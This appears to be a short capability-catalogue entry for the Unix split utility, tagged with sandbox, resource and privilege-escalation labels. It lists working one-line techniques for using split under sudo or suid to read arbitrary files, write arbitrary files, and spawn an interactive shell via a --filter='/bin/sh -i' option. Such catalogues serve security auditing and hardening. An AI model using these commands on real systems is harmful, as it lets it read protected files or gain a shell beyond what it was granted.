Split files into fixed-size pieces; can read and write files and spawn shells.
split split Sandbox: execFile · Timeout: 30s
system.file.read system.file.write security.privilege-escalation.shell Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Read arbitrary files (sudo, suid, unprivileged)
split -b 999 --additional-suffix suffix /path/to/input-file prefix
cat prefixaasuffix Write to arbitrary files (sudo, suid, unprivileged)
split -b 999 --additional-suffix suffix /path/to/input-file prefix Spawn an interactive shell (sudo, suid, unprivileged)
split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts split is a command-line utility. Split a file into pieces; can also read arbitrary files, write to arbitrary files, spawn an interactive shell.